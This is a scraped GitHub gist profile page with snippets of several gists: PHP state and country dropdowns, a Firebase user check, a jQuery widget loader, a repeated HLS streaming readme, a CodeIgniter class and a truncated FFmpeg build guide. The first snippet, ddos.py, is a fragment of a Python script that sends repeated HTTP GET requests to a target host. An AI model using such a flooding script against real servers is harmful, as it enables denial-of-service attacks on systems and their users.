Skip to content

Instantly share code, notes, and snippets.

View cryptixcoder's full-sized avatar

Markus Gray cryptixcoder

View GitHub Profile
@cryptixcoder
cryptixcoder / ddos.py
Created September 16, 2013 20:50 — forked from tinnguyenz/ddos.py
import socket, sys, os
print "][ Attacking " + sys.argv[1] + " ... ]["
print "injecting " + sys.argv[2];
def attack():
#pid = os.fork()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
print ">> GET /" + sys.argv[2] + " HTTP/1.1"
s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")
s.send("Host: " + sys.argv[1] + "\r\n\r\n");
@cryptixcoder
cryptixcoder / gist:7772586
Created December 3, 2013 16:42
State HTML with php if selected
<select class="form-control" name="state">
<option value="">Select a State</option>
<option value="AL" <?php if($state == "AL") echo "selected"; ?>>Alabama</option>
<option value="AK" <?php if($state == "AK") echo "selected"; ?>>Alaska</option>
<option value="AZ" <?php if($state == "AZ") echo "selected"; ?>>Arizona</option>
<option value="AR" <?php if($state == "AR") echo "selected"; ?>>Arkansas</option>
<option value="CA" <?php if($state == "CA") echo "selected"; ?>>California</option>
<option value="CO" <?php if($state == "CO") echo "selected"; ?>>Colorado</option>
<option value="CT" <?php if($state == "CT") echo "selected"; ?>>Connecticut</option>
<option value="DE" <?php if($state == "DE") echo "selected"; ?>>Delaware</option>
function go() {
var userId = prompt('Username?', 'Guest');
checkIfUserExists(userId);
}
var USERS_LOCATION = 'https://SampleChat.firebaseIO-demo.com/users';
function userExistsCallback(userId, exists) {
if (exists) {
alert('user ' + userId + ' exists!');
@cryptixcoder
cryptixcoder / gist:1c481bcf1ad8458675e3
Created August 1, 2014 12:41
Stripe Country Dropdown
<select class="form-control" id="country">
<option value="">Country</option>
<option data-power-region="USA" value="American Samoa">American Samoa</option>
<option data-power-region="AUS" value="Argentina">Argentina</option>
<option data-power-region="AUS" value="Australia">Australia</option>
<option data-power-region="Europe" value="Austria">Austria</option>
<option data-power-region="USA" value="Bangladesh">Bangladesh</option>
<option data-power-region="Europe" value="Belgium">Belgium</option>
<option data-power-region="USA" value="Brazil">Brazil</option>
<option data-power-region="USA" value="British Virgin Islands">British Virgin Islands</option>
@cryptixcoder
cryptixcoder / widget.js
Last active August 29, 2015 14:06 — forked from lukencode/widget.js
(function () {
var scriptName = "embed.js"; //name of this script, used to get reference to own tag
var jQuery; //noconflict reference to jquery
var jqueryPath = "http://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js";
var jqueryVersion = "1.8.3";
var scriptTag; //reference to the html script tag
/******** Get reference to self (scriptTag) *********/
var allScripts = document.getElementsByTagName('script');

HLS streaming from node

Provided that you already have a file or stream segmenter generating your .m3u8 playlist and .ts segment files (such as the ffmpeg 'hls' muxer), this little node server will serve up those files to an HLS compatible client (e.g. Safari). If you're using node for your streaming app already, this obviates the need to serve the HLS stream from a separate web server.

loosely based on https://gist.github.com/bnerd/2011232

// loosely based on https://gist.github.com/bnerd/2011232
// requires node.js >= v0.10.0
// assumes that HLS segmenter filename base is 'out'
// and that the HLS playlist and .ts files are in the current directory

HLS streaming from node

Provided that you already have a file or stream segmenter generating your .m3u8 playlist and .ts segment files (such as the ffmpeg 'hls' muxer), this little node server will serve up those files to an HLS compatible client (e.g. Safari). If you're using node for your streaming app already, this obviates the need to serve the HLS stream from a separate web server.

loosely based on https://gist.github.com/bnerd/2011232

// loosely based on https://gist.github.com/bnerd/2011232
// requires node.js >= v0.10.0
// assumes that HLS segmenter filename base is 'out'
// and that the HLS playlist and .ts files are in the current directory
<?php
class Layouts
{
// hold codeigniter instance
private $CI;
// hold layout title
private $layout_title = null;

HLS streaming from node

Provided that you already have a file or stream segmenter generating your .m3u8 playlist and .ts segment files (such as the ffmpeg 'hls' muxer), this little node server will serve up those files to an HLS compatible client (e.g. Safari). If you're using node for your streaming app already, this obviates the need to serve the HLS stream from a separate web server.

loosely based on https://gist.github.com/bnerd/2011232

// loosely based on https://gist.github.com/bnerd/2011232
// requires node.js >= v0.10.0
// assumes that HLS segmenter filename base is 'out'
// and that the HLS playlist and .ts files are in the current directory

Compile FFmpeg on Ubuntu

This guide supports Ubuntu Precise Pangolin 12.04, Ubuntu Oneiric Ocelot 11.10, Ubuntu Natty Narwhal 11.04, and Ubuntu Maverick Meerkat 10.10. Separate guides are available for Ubuntu Lucid Lynx 10.04 and Ubuntu Hardy Heron 8.04. This guide will enable several external encoding and decoding libraries: libfaac (AAC encoder), libfdk-aac (AAC encoder), libmp3lame (MP3 encoder), libopencore-amr (AMR encoder/decoder), librtmp (for additional RTMP protocols), libtheora (Theora encoder), libvorbis (Vorbis encoder), libvpx (VP8 encoder/decoder), and libx264 (H.264 encoder). These are optional and may be omitted if desired. This guide will also install many filters (see the filter list in the [Filtering Guide](https://ffmpeg.org/trac/ffmpeg/wiki/Fi